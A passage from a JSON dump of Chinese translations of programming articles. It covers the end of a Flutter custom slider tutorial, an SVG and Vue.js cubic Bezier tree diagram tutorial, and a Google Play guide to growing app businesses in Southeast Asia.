时，最好考虑一下这些控件，它们不具有任何状态，但会显示父级控件所提供的内容。\n\n所以，让我们开始声明小控件\n\n![](https://cdn-images-1.medium.com/max/1600/1*9QyxospGGYvnt0b_OLpE_A.png)\n\n这个小控件非常简单，我们接收完成的百分比值，以及正面和背面部分的颜色。主 `Container` 将背面颜色作为背景，我们将绘制正面部分去覆盖它。它的子节点是 `Row`，虽然它只包含一个子节点，但我保留了它，方便你添加另一个 `Container`，它可以显示背面的部分或其中的一些信息（例如，剩余的百分比）。通过从 `Container` 的总宽度中取相同的百分比，计算并显示已完成百分比的 `Container` 的 `width`。\n\n接下来，我们从主要的 App 类开始。\n\n![](https://cdn-images-1.medium.com/max/1600/1*XCxELZi86mQkd8RxK6yMAQ.png)\n\n显然，现在我们必须声明 `MyHomePage` 类，现在这个类应该能够使用我们上面编写的 `CustomSlider` 控件，并处理手势检测部分，其中用户可以拖动来增加和减少滑块显示的百分比。\n\n![](https://cdn-images-1.medium.com/max/1600/1*pjjpL-46CNHxQaur3jOp4A.png)\n\n这个控件必须是有状态的，因为要追踪其百分比。在这里，我们声明了控件的颜色，并将初始百分比保持为 0.0。另外还要注意，现在我们有一个显示舍入百分比的 `Text`，它与 `CustomSlider` 一起在屏幕上居中。\n\n现在，请注意我们用 `GestureDetector` 控件包围住了 `CustomSlider` 控件。我们接下来的工作就是，给控件注入活力，使用 `GestureDetector` 控件来捕获用户的拖动事件。\n\n让我们看看实现这部分的代码。\n\n![](https://cdn-images-1.medium.com/max/1600/1*pNfLsEImWg3IT2Y8YZtQIw.png)\n\n这是添加了拖动部分的完整代码。`GestureDetector` 控件加入了 `onPanStart`、`onPanUpdate` 和 `onPanEnd` 属性来处理拖动的手势。我希望这些命名，能表明各自的用途。\n\n为了知道用户拖动了多少，我们存储了拖动开始的位置，每次用户移动他/她的手指时，都会在 `onPanUpdate` 方法中计算距离。接着将距离除以滑块的宽度 200。然后我们简单地将计算完的距离添加到百分比的位置，设置值为 0.0 到 100.0 之间。该值不会超过滑动块的边界，这对于百分比的值来说是自然而然的事情。\n\n这里只给出一个我们自定义的滑块……请用这个来展示一下你做了什么改变吧。\n\n[点击这里](https://pastebin.com/C2ZuRdM8) 获得不同可以复制/粘贴的代码版本。\n\n*   [JavaScript](https://medium.com/tag/javascript?source=post)\n*   [Flutter](https://medium.com/tag/flutter?source=post)\n*   [Gesturedetector](https://medium.com/tag/gesturedetector?source=post)\n*   [Apps](https://medium.com/tag/apps?source=post)\n*   [Dart](https://medium.com/tag/dart?source=post)\n\n喜欢你读的东西吗？给 RJS Tech 一点掌声。\n\n从为之欢呼到起立鼓掌，拍手表示你是多么喜欢这篇文章。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/building-a-dynamic-tree-diagram-with-svg-and-vue-js.md",
    "content": "> * 原文地址：[Building a Dynamic Tree Diagram with SVG and Vue.Js](https://medium.com/@krutie/building-a-dynamic-tree-diagram-with-svg-and-vue-js-a5df28e300cd)\n> * 原文作者：[Krutie Patel](https://medium.com/@krutie)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/building-a-dynamic-tree-diagram-with-svg-and-vue-js.md](https://github.com/xitu/gold-miner/blob/master/TODO1/building-a-dynamic-tree-diagram-with-svg-and-vue-js.md)\n> * 译者：[YueYong](https://github.com/YueYongDev)\n> * 校对者：[Moonliujk](https://github.com/Moonliujk),[shixi-li](https://github.com/shixi-li)\n\n# 使用 SVG 和 Vue.Js 构建动态树图\n\n本文将会带你了解到我是如何创建一个动态树图的，该图使用 SVG（可缩放矢量图形）绘制三次贝塞尔曲线（Cubic Bezier）路径并通过 Vue.js 以实现数据响应。\n\n在开始前，[先让我们来看一个 demo](http://svg-tree-diagram.surge.sh)。\n\n![](https://cdn-images-1.medium.com/max/2242/1*i9yyyuT1hxMj1K7ZGP4vDg.png)\n\n基于 SVG 和 Vue.js 框架的强大功能，我们可以轻松创建基于数据驱动、可交互和可配置的图表与信息图。\n\n该图是一个三次贝塞尔曲线的集合，它基于用户提供的数据，从单点出发，并在不同的点结束，且点和点之间的距离相同。 因此，该图会响应用户输入的内容。\n\n我们将首先学习如何制作三次贝塞尔曲线，然后通过剪切蒙版在坐标系中尝试找到 `<svg>` 元素可用的 `x` 和 `y` 点。\n\n我在这个案例中使用了很多视觉动画以保证趣味性。本文的主要思想是帮助你为类似的项目设计出自己的图表。\n\n## SVG\n\n#### Cubic Bezier 曲线是如何形成的？\n\n你在上面的 demo 中看到的曲线被称为三次贝塞尔曲线。我已在下面高亮显示了此曲线结构的每个部分。\n\n![](https://cdn-images-1.medium.com/max/3960/1*GPp1gpDRFC-Xx9z7Tg85iQ.png)\n\n它总共有 4 对坐标。第一对坐标 —— `(x0, y0)` —— 是起始锚点，最后一对坐标 —— `(x3, y3)` —— 是结束锚点，指示完成路径的位置。\n\n中间的两对坐标是：\n\n* 贝塞尔控制点 #1 `(x1, y1)` 和\n* 贝塞尔控制点 #2 `(x2, y2)`\n\n基于这些点实现的路径是一条平滑曲线。如果没有这些控制点，这条路径就是一条笔直的线！\n\n让我们把这四个坐标放入 SVG 语法的 `<path>` 元素中。\n\n```\n// 三次贝塞尔曲线的路径语法\n\n<path D=\"M x0,y0  C x1,y1  x2,y2  x3,y3\" />\n```\n\n语法中的字母 `c` 代表三次贝塞尔曲线。小 `c` 表示相对值，而大写 `C` 表示绝对值。我用绝对值 `C` 来创建这个图。\n\n**实现对称性**\n\n对称性是实现该图的关键点。为了实现这一点，我只使用一个变量来派生出类似于高度，宽度和中点等值。\n\n就让我们把这个变量命名为 `size` 吧。由于此树形图的方向是水平的，因此可以将变量 `size` 视为整张图的**水平**空间。\n\n让我们为这个变量赋予实际值。这样，你还可以计算路径的坐标。\n\n```\nsize = 1000\n```\n\n## 寻找坐标\n\n在我们寻找坐标前，我们需要新建一个坐标系！\n\n#### 坐标系和 viewBox\n\n`<svg>` 元素的 `viewBox` 属性非常重要，因为它定义了 SVG 的用户坐标系。简而言之，`viewBox` 定义了用户空间的位置和维度以便于绘制 SVG。\n\n`viewBox` 由四个数字组成，顺序需要保持一致 —— `min-x, min-y, width, height`。\n\n```\n<svg viewBox=\"min-x min-y width height\">...</svg>\n```\n\n我们之前定义的 `size` 变量将控制此坐标系的 `width` 和 `height`。\n\n稍后在 Vue.js 部分，`viewBox` 将绑定到计算属性以填充 `width` 和 `height`，而 `min-x` 和 `min-y` 在此实例中始终为零。\n\n请注意，我们没有使用 **SVG 元素**本身的 `width` 和 `height` 属性。因为，我们稍后会通过 CSS 设置 `<svg>` 的 `width: 100%` 和 `height: 100%`，以便自适应填满整个 viewport。\n\n现在整张图的用户空间 / 坐标系已准备好，让我们看看 `size` 变量如何通过使用不同的 `%` 值来帮助计算坐标。\n\n#### 恒定和动态坐标\n\n![Diagram Concept](https://cdn-images-1.medium.com/max/5184/1*2CRePTNtiym2q7eJKxEUWQ.png)\n\n圆是图的一部分。这就是为什么从一开始就把它包含在计算中是很重要的。如上图所示，让我们开始导出一个**圆**和**一个样本路径**的坐标值。\n\n**垂直高度分为两部分：`topHeight`（`size` 的 20%）和 `bottomHeight`（`size` 剩余的 80%）。水平宽度分为两部分 —— 分别是 `size` 的 50%**。\n\n这样圆坐标（`halfSize, topHeight`）就显而易见了。圆的 `radius` 属性设置为 `topHeight` 的一半，这样的可用空间非常合适。\n\n现在，让我们看一下路径坐标……\n\n* **`x0, y0`** —— 第一对锚点**始终保持不变**。这里，`x0` 是图表 `size` 的中心，`y0` 是圆圈停止的垂直点（**因此增加了一个 radius**）并且是路径的起点。  \n=`（50% 的 size, 20% 的 size + radius）`\n* **`x1, y1`** —— 贝塞尔控制点 1，对于所有路径**也保持不变**。考虑到对称性，`x1` 和 `y1` 总是图表 `size` 的一半。\n= `(50% 的 size, 50% 的 size)`\n* **`x2, y2`** —— 贝塞尔控制点 2，其中 `x2` 指示哪一侧形成曲线并且为每条路径**动态计算**。同样，`y2` 是图表 `size` 的一半。  \n= `(x2, 50% 的 size)`\n* **`x3, y3`** —— 最后一对锚点，指示路径绘制结束的位置。这里，`x3` 模仿 `x2` 的值，这是动态计算的。`y3` 占据了 `size` 的 80%。  \n= `(x3, 80% 的 size)`\n\n在合并上述计算结果后，请参阅下面的通用路径语法。为了表示 `%`，我只是简单的将 `%` 值除以 100。\n\n```\n<path d=\"M size*0.5, (size*0.2) + radius  \n         C size*0.5,  size*0.5\n           x2,        size*0.5\n           x3,        size*0.8\"\n>\n```\n\n**注意：整个代码逻辑中 `%` 的选择最初看起来似乎全是主观推断，但它是为了实现对称而选择的正确比例。一旦你了解了构建此图表的目的，你就可以尝试自己的 `%` 值并检查不同的结果。**\n\n下一部分重点是找到剩余坐标 `x2` 和 `x3` 的值 —— 这使得能够根据它们的数组索引动态地形成多个弯曲路径。\n\n根据数组中的多个元素，可用的水平空间应分配到相等的部分，以便每个路径在 `x-axis` 上获得相同的空间量。\n\n公式最终应适用于任意数量的项目，但出于本文的目的，我已经使用了 5 个数组项 —— `[0,1,2,3,4]`。意思是，我将绘制 5 条贝塞尔曲线。\n\n#### 寻找动态坐标（x2 和 x3）\n\n首先，我将 `size` 除以元素数，即数组长度，并命名为 `distance` —— 作为两个元素之间的距离。\n\n```\ndistance = size/arrayLength\n// distance = 1000/5 = 200\n```\n\n然后，我循环遍历数组中的每个元素，并将其 `index` 值乘以 `distance`。 为了描述简单，我用 `x` 表示 `x2` 和 `x3`。\n\n```\n// value of x2 and x3\nx = index * distance\n```\n\n当我使用 `x` 的值来表示 `x2` 和 `x3` 时，这张图看起来有点奇怪。\n\n![](https://cdn-images-1.medium.com/max/6068/1*0whAEEtgKwVpeNf1uZY5ug.png)\n\n如你所见，坐标的位置是正确的，但不是很对称。左侧的元素看起来比右侧的元素多。\n\n此时因为一些原因，我需要将 `x3` 坐标放在 `distance` 的中心，而不是在一开始的地方。\n\n为了解决这个问题，让我们重新审视下变量 `distance` —— 对于给定的场景，它的值是 200。我只是给 `x` 又加了 **distance 的一半**。\n\n```\nx = index * distance + (distance * 0.5)\n```\n\n上式意思是，我找到了 `distance` 的中点并将最终的 `x3` 坐标放在那里，并调整了贝塞尔曲线 #2 的 `x2`。\n\n![](https://cdn-images-1.medium.com/max/6334/1*i2-TArj3Jol77m5f2fxgZA.png)\n\n在 `x2` 和 `x3` 坐标中添加 **distance 的一半**，适用于数组的奇数项和偶数项元素。\n\n#### 图层蒙版\n\n为了使蒙版形状为圆形，我已经在 **mask** 元素中**定义**了一个 **circle**。\n\n```\n<defs>\n  <mask id=\"svg-mask\">\n     <circle :r=\"radius\" \n             :cx=\"halfSize\" \n             :cy=\"topHeight\" \n             fill=\"white\"/>\n  </mask>\n</defs>\n```\n\n接下来，使用 `<svg>` 元素中的 `<image>` 标签作为内容，我使用 `mask` 属性将图像绑定到 `<mask>` 元素里（已在上述代码中创建）。\n\n```\n<image mask=\"url(#svg-mask)\" \n      :x=\"(halfSize-radius)\" \n      :y=\"(topHeight-radius)\"\n...\n> \n</image>\n```\n\n由于我们试图将方形图像拟合成圆形，我通过减小圆的 `radius` 来调整图像位置，以通过圆形蒙版实现图像的完全可见性。\n\n让我们将所有的值都放入图表中，以帮助我们看到完整的图像。\n\n![](https://cdn-images-1.medium.com/max/3752/1*kWPi7xIsu6PF9drIwOKo4Q.png)\n\n## 使用 Vue.js 的动态 SVG\n\n到目前为止，我们已经了解了贝塞尔曲线的本质，以及它的工作原理。因此，我们有了静态 SVG 图的概念。使用 Vue.js 和 SVG，我们现在将用数据驱动图表，并将其从静态转换为动态。\n\n在本节中，我们将把 SVG 图分解为 Vue 组件，并将 SVG 属性绑定到计算属性，并使其响应数据更改。\n\n最后，我们还将查看配置面板组件，该组件用于向动态 SVG 图提供数据。\n\n我们将在本节中了解以下关键主题。\n\n- 绑定 SVG viewBox\n- 计算 SVG 路径坐标\n- 实现贝塞尔曲线路径的两个选项\n- 配置面板\n- 家庭作业 ❤\n\n**绑定 SVG viewBox**\n\n首先，我们需要一个坐标系统才能在 SVG 内部绘制。 计算属性 `viewbox` 将使用 `size` 变量。它包含由空格分隔的四个值 —— 它被送入 `<svg>` 元素的 **`viewBox`** 属性。\n\n```\nviewbox() \n{\n   return \"0 0 \" + this.size + \" \" + this.size;\n}\n```\n\n在 SVG 中，`viewBox` 属性**已经**使用驼峰命名法（camelCase）。\n\n```\n<svg viewBox=\"0 0 1000 1000\">\n</svg>\n```\n\n因此为了正确绑定上计算属性，我在 `.camel` 修饰符后对该变量使用了短横线命名（kebab-case）的方式（如下所示）。通过这种方式，HTML 才得以正确绑定此属性。\n\n现在，每次我们更改 `size` 时，图表都会自行调整，而无需手动更改标记。\n\n**计算 SVG 路径坐标**\n\n由于大多数值都是从单个变量 `size` 派生的，所以我已经为所有常量坐标使用了计算属性。不要被这里的常量混淆。这些值是从 `size` 中派生出来的，但在**此**之后，无论创建多少曲线路径，它们都保持不变。\n\n如果你改变 SVG 的大小，这些值会再次被计算出来。考虑到这一点，这里列出了绘制贝塞尔曲线所需的五个值。\n\n* topHeight — `size * 0.2`\n* bottomHeight — `size * 0.8`\n* width — `size`\n* halfSize — `size * 0.5`\n* distance — `size/arrayLength`\n\n此时，我们只剩下两个未知值，即 `x2` 和 `x3`，我们有一个公式可以确定它们的值。\n\n```\nx = index * distance + (distance * 0.5)\n```\n\n为了找到上面的 `x`，我们需要一次将 `index` 输入到每个路径的公式中。所以……\n\n在这使用计算属性合适吗？肯定不合适。\n\n我们不能将参数传递给计算属性 —— 因为它是一个属性，而不是函数。另外，需要一个参数来计算意味着——使用计算属性对缓存也没什么好处。\n\n**注意：上面有一个例外，Vuex。如果我们正在使用 Vuex Getters，那么，我们可以通过返回一个函数将参数传递给 getter。**\n\n在本文所述的情况下，我们不使用 Vuex。可即便如此，我们仍有两个选择。\n\n#### 选择一\n\n我们可以定义一个函数，在这里我们将数组 `index` 作为参数传递并返回结果。如果要在模板中的多个位置使用此值，选择 `Bit cleaner`。\n\n```\n<g v-for=\"(item, i) in itemArray\">\n  <path :d=\"'M' + halfSize + ','         + (topHeight+r) +' '+\n            'C' + halfSize + ','         + halfSize +' '+    \n                  calculateXPos(i) + ',' + halfSize +' '+ \n                  calculateXPos(i) + ',' + bottomHeight\" \n  />\n</g>\n```\n\ncalculateXPos() 方法将在每次调用时进行评估。并且此方法接受索引 —— `i` —— 作为参数（代码如下）。\n\n```\n<script>\n  methods: {\n    calculateXPos (i)\n    {\n      return distance * i + (distance * 0.5)\n    }\n  }\n</script>\n```\n\n下面是运行在 CodePen 上 Option 1 的结果。\n\n[Option 1 - Bezier Curve Tree Diagram with Vue Js](https://codepen.io/krutie/pen/eoRXWP)\n\n#### 选择二\n\n更好的是，我们可以将这个小的 SVG 路径标记提取到它自己的子组件中，并将 `index` 作为一个属性传递给它 —— 当然，还有其他必需的属性。\n\n在这个例子中，我们甚至可以使用计算属性来查找 `x2` 和 `x3`。\n\n```\n<g v-for=\"(item, i) in items\"> \n    <cubic-bezier  :index=\"i\" \n                   :half-size=\"halfSize\" \n                   :top-height=\"topHeight\" \n                   :bottom-height=\"bottomHeight\" \n                   :r=\"radius\"\n                   :d=\"distance\"\n     >\n     </cubic-bezier>\n</g>\n```\n\n这种方法可以让我们的代码更具条理，例如，我们可以为一个圆形剪切蒙版创建一个或多个子组件，如下所示。\n\n```\n<clip-mask :title=\"title\"\n           :half-size=\"halfSize\" \n           :top-height=\"topHeight\"                     \n           :r=\"radius\"> \n</clip-mask>\n```\n\n#### 配置面板\n\n![Config Panel](https://cdn-images-1.medium.com/max/2000/1*zI1UlqRzNrxoGQdgl9nCSA.png)\n\n您可能已经在 CodePen 左上角看到了 **控制面板**。它可以添加和删除数组中的元素。在 Option 2 中，我创建了一个子组件来容纳 Config Panel，使顶级 Vue 组件清晰可读。我们的 Vue 组件树看起来就像下面这样。\n\n![](https://cdn-images-1.medium.com/max/2942/1*ztoHw3dN6o_0VvwI1UOpxw.png)\n\n想知道 Option 2 的代码是什么样子的？下面的链接是在 CodePen 上使用了 Option 2 的代码。\n\n[Option 2 - Bezier Curve Tree Diagram with Vue Js](https://codepen.io/krutie/pen/Bexoez)\n\n## GitHub 仓库\n\n最后，这里有一个为你准备的 [GitHub Repo](https://github.com/Krutie/svg-tree-diagram)，你可以在进入下一部分之前查看该项目（使用选项 2）。\n\n## 家庭作业\n\n尝试基于本文中介绍的逻辑在垂直模式下创建相同的图表。\n\n如果你认为，它是交换坐标系中的 `x` 值和 `y` 值一样简单的话，那么你是对的！因为最艰难的部分已经完成，在交换了**所需**的坐标后，再用适当的变量和方法更新代码。\n\n在 Vue.js 的帮助下，该图可以通过更多功能进一步扩展，例如，\n\n* 创建一个开关以便于在水平和垂直模式之间切换\n* 可以使用 GSAP 为路径设置动画\n* 从配置面板控制路径属性（例如颜色和笔触宽度）\n* 使用第三方工具库将图表保存并下载为图像/PDF\n\n现在试一试，如果需要的话，下面是家庭作业的答案链接。\n\n祝你好运！\n\n## 总结\n\n`<path>` 是 SVG 中众多强大的元素之一，因为它允许你精确地创建图形和图表。在本文中，我们了解了贝塞尔曲线的工作原理以及如何创建一个自定义图表应用。\n\n利用现代 JavaScript 框架所使用的数据驱动方法进行调整总是令人生畏的，但 Vue.js 使它变得非常简单，并且还可以处理诸如 DOM 操作之类的简单任务。因此，作为一名开发人员，即使在处理具有明显视觉效果的项目时，你也可以用数据的方式进行思考。\n\n我已经意识到创建这个看起来很复杂的图表需要 Vue.js 和 SVG 的一些简单概念。如果你还没有准备好，我建议您阅读有关[使用 Vue.js 构建交互式信息图](https://www.smashingmagazine.com/2018/11/interactive-infographic-vue-js/)的内容。读完那篇文章后再回过头阅读本文就会容易很多。❤这是家庭作业的[答案](https://codepen.io/krutie/pen/QRrNKz)。\n\n我希望你从这篇文章中学到了一些东西，并在阅读本文时能够感受到我当时创作时的乐趣。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/building-a-successful-app-or-game-business-in-southeast-asia.md",
    "content": "> * 原文地址：[How to grow your app business in Southeast Asia](https://medium.com/googleplaydev/building-a-successful-app-or-game-business-in-southeast-asia-29e6eea0defb)\n> * 原文作者：[Guy Charusadhirakul](https://medium.com/@guycharusa?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/building-a-successful-app-or-game-business-in-southeast-asia.md](https://github.com/xitu/gold-miner/blob/master/TODO1/building-a-successful-app-or-game-business-in-southeast-asia.md)\n> * 译者：[jianboy](https://github.com/jianboy)\n\n# 如何在东南亚拓展您的应用业务\n\n## 使用 Android（Go 版）进行本地化和向新市场拓展的四个关键策略\n\n![](https://cdn-images-1.medium.com/max/1600/1*mNb91X17FSyOL7CKXh6E-A.png)\n\n东南亚是一个跨越 10 个国家的大型多样化地区，[人口超过 6.3 亿](https://aseanup.com/asean-infographics-population-market-economy/)。超过 [3.3 亿互联网用户](https://www.thinkwithgoogle.com/intl/en-apac/trends-and-insights/e-conomy-sea-unlocking-200b-digital-opportunity/) —— 已经超过了美国的互联网用户 —— 该地区已经成熟，可以进行爆炸性的数字和移动革命。[Google and Temasek 的研究](https://www.thinkwithgoogle.com/intl/en-apac/trends-and-insights/e-conomy-sea-unlocking-200b-digital-opportunity/)指出东南亚（SEA）到 2025 年，数字经济将价值超过 2000 亿美元。\n\n与具有更发达的互联网基础设施的地区不同，东南亚人们依靠智能手机来访问信息，在社交媒体上共享内容以及消费娱乐。事实上，东南亚人[每天在移动互联网上花费 3.6 小时](https://www.blog.google/around-the-globe/google-asia/sea-internet-economy/)，时间多于世界上任何其他地方。\n\n随着可支配收入的快速增长和智能手机拥有量的快速增长，东南亚为应用和游戏开发商提供了扩大用户群和业务的机会。\n\n然而，东南亚为全球应用和游戏开发商带来了独特的挑战。虽然该地区的国家有许多文化和经济特征，但他们说不同的语言，并有独特的消费者偏好。该地区的许多消费者仍然习惯于在智能手机上购物，同时熟悉新的支付方式。\n\n根据我的经验，作为一名东南亚本地人以及我在该地区的工作，我为应用和游戏开发者提供下面 4 个关键策略，以帮助他们在东南亚拓展业务。\n\n![](https://cdn-images-1.medium.com/max/1600/0*SP1YjLo_uniUb49G)\n\n### 策略 1：内容本地化\n\n本地化是关键。我建议将应用和游戏内容以及 Google Play 商店列表翻译成本地语言。这对于没有广泛使用英语的泰国、印度尼西亚和越南等市场至关重要。已翻译的开发人员已经看到应用安装、用户和支出的增长。\n\n> **例如，基于比较本地化前后 3 个月的应用内支出，GTarcade 的 Discacy of Discord-FuriousWings 报告称，当游戏本地化为泰国时，有 150％ 的增长，而本地化为印度尼西亚时，有 40％ 的增长。同样，Supercell 数据显示 [Hay Day](https://play.google.com/store/apps/details?id=com.supercell.hayday) 本地化为泰国后的支出增加了 40％。**\n\n如果您不熟悉新市场，请使用 [store listing experiments](https://developer.android.com/distribute/best-practices/grow/store-listing-experiments) 以您的目标语言来测试商店列表的版本。\n\n除了翻译内容以外，您还应考虑本地化应用内或游戏内容以符合当地文化规范。创建文化契合使应用和游戏与人们相关。\n\n> **例如，[Smule](https://play.google.com/store/apps/developer?id=Smule) 与艺术家合作，为印度尼西亚和马来西亚的听众提供相关歌曲。Smule 一直是这些国家/地区 Google Play 商店中收入最高的应用之一。**\n\n![](https://cdn-images-1.medium.com/max/1600/0*2BmnPD79f2EoGRII)\n\n### 策略 2：本地化价格并考虑本地支付\n\n与发达市场相比，东南亚的消费者可支配收入较低。2016 年人均国内生产总值估计为 [4,034 美元](https://www.aseanstats.org/wp-content/uploads/2018/01/ASYB_2017-rev.pdf)。因此，请考虑应用内购买的定价或订阅方式来匹配消费者收入。\n\n> **Smule 在印度尼西亚的每月订阅价格为 12,000 印尼盾，即 0.83 美元。相比之下，美国每月 4.99 美元。通过将游戏内货币的价格设定为比北亚版本低 30-40％，[Dragon Nest M](https://play.google.com/store/apps/details?id=com.playfungame.ggplay.lzgsea)，东南亚中的热门动作游戏，报告了净收益。**\n\n除了新加坡，Google Play 为东南亚所有市场提供的应用内购买价格低于 0.99 美元。\n\n除了将定价项目本地化为本地用户的支付能力之外，直接运营商计费和礼品卡是该地区流行的支付方式。这些是很好的选择，因为信用卡使用在东南亚并不普遍。Google Play 与东南亚的 24 家运营商建立了合作伙伴关系，让消费者可以轻松地在您的应用中购物。\n\n![](https://cdn-images-1.medium.com/max/1600/0*cBlieEiL3XU7Gu3b)\n\n### 策略 3：为新兴市场（如东南亚）的用户优化应用和游戏\n\n东南亚消费者使用各种设备 —— 从高端智能手机到入门级 Android 手机。为了确保入门级设备的最佳用户体验，许多开发人员通过减少 APK 大小和优化内存使用来优化他们的应用程序。这与 [Google 对 Android 用户的调查](https://medium.com/googleplaydev/shrinking-apks-growing-installs-5d3fcba23ce2)的结果一致：新兴市场中约有 70％ 的人认为是应用程序之前下载它出于对数据成本和手机存储空间的担忧。\n\n> **[Garena Free Fire](https://play.google.com/store/apps/details?id=com.dts.freefireth) 的开发者通过音频，图像和视频缩小 APK 尺寸，为新兴市场优化了这款游戏数据压缩。开发人员还根据图形质量使用不同的纹理分辨率优化了内存使用。因此，Free Fire一直是东南亚最受欢迎的游戏之一。**\n\n您可以针对 [Android Oreo（Go 版）](https://www.android.com/versions/oreo-8-0/go-edition/)。进一步优化您的应用。通过减少 APK 大小，优化内存使用和减少应用启动时间来做到这一点。[Viki](https://play.google.com/store/apps/details?id=com.viki.android)、[Shopback](https://play.google.com/store/apps/details?id=com.shopback.app)、[Tokopedia](https://play.google.com/store/search?q=Tokopedia&c=apps&sticky_source_country=ID) 和 [Picmix](https://play.google.com/store/apps/details?id=com.picmix.mobile) 是东南亚流行的应用程序的示例，这些应用程序已针对 Android Oreo（Go版）进行了优化，以更好地为该地区的人们提供服务。\n\n您还应该了解 [Android vitals](https://developer.android.com/topic/performance/vitals/)，它可以测量应用程序运行状况信号，例如崩溃率，应用程序无响应和电池耗尽唤醒锁。这些与新兴市场的用户和设备非常相关，例如东南亚。您可以在 Google Play 控制台中监控 Android 生命周期。\n\n但是，如果您的应用或游戏需要更高规格的设备来提供良好体验，请使用 [device catalog](https://support.google.com/googleplay/android-developer/answer/7353455?hl=en)。此 Google Play 控制台功能可让您过滤设备，以确保只有拥有合适手机的消费者才能安装您的应用或游戏。\n\n![](https://cdn-images-1.medium.com/max/1600/0*_D796bdhi6hvwiNy)\n\n### 策略 4：建立本地社区并与当地用户互动\n\n东南亚用户具有高度社交性：在线和离线。成功的开发人员利用社区的力量来获取用户，教育人们他们的应用和游戏，并让用户保持参与和停留。以下是一些有助于在东南亚建立强大社区的提示：\n\n*   **用他们的语言与人沟通：** 要建立一个强大的社区，您需要用他们的语言与人沟通。这意味着让母语使用者响应 Play 商店中的用户评论并通过其他渠道提供通信。当 Netmarble 在印度尼西亚推出他们的热门游戏 [Lineage2 Revolution](https://play.google.com/store/apps/details?id=com.netmarble.revolutionthm) 时，他们通过当地语言回复了印度尼西亚语版 Google Play 上的用户评论。自推出以来，Lineage2 Revolution 一直是印度尼西亚在 Google Play 上排名前三的游戏。\n*   **建立当地社交媒体：** 成功的开发者使用当地市场的流行社交媒体定期向社区传达相关新闻和内容。这些社交渠道也是人们向您传达客户服务问题的热门方式。例如，[IGG.COM](https://play.google.com/store/apps/dev?id=8895734616362643252) 估计，东南亚超过 50% 的客户服务问题来自社交渠道。\n*   **考虑与内容创作者合作：** YouTube 在东南亚非常受欢迎。事实上，泰国和印度尼西亚[在移动设备上观看 YouTube 的比例最高](https://www.thinkwithgoogle.com/intl/en-apac/trends-and-insights/beyond-numbers-youtube-shapes-lives-thailand-indonesia/)。因此，许多游戏开发人员与创作者一起制作游戏玩法，以帮助教育和重新吸引玩家。\n*   **不要低估线下：** 线下活动是在东南亚建立社区的重要元素。开发人员，如 [Com2uS](https://play.google.com/store/apps/dev?id=6850516909323484758) 和 [Siamgame](https://play.google.com/store/apps/dev?id=6476992165808510390) 定期为最狂热的粉丝举办线下活动，培养强烈的社区意识，增加重新参与度。电子竞技在东南亚越来越受欢迎，它甚至被列入今年的亚洲运动会，在雅加达和印度尼西亚的巨港举办。[Hero Games](https://play.google.com/store/apps/dev?id=9060101706093336387) 和 [Garena](https://play.google.com/store/apps/details?id=com.dts.freefireth) 将电子竞技视为推动与东南亚游戏玩家社区互动的主要因素。\n\n### 后记\n\n随着这个充满活力的地区的经济继续增长，东南亚市场为寻找新用户和增加收入提供了巨大的机会。成功的关键是根据您的目标市场定制您的业务 —— 本地化您的内容，将定价设置为当地收入，优化 Android Oreo（Go 版）应用以及构建社区。如果您需要更多指导，请查看 Android 开发人员的 [Build for billions](https://developer.android.com/docs/quality-guidelines/building-for-billions/) 页面。\n\n* * *\n\n###  你怎么看？\n\n您是否有关于在东南亚中构建应用和游戏业务的想法？请在下面的评论中告诉我们，或使用 **#AskPlayDev** 发送推文，我们会从 [@GooglePlayDev](http://twitter.com/googleplaydev) 中进行回复，我们会在 Google Play 上定期分享有关如何取得成功的新闻和提示。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 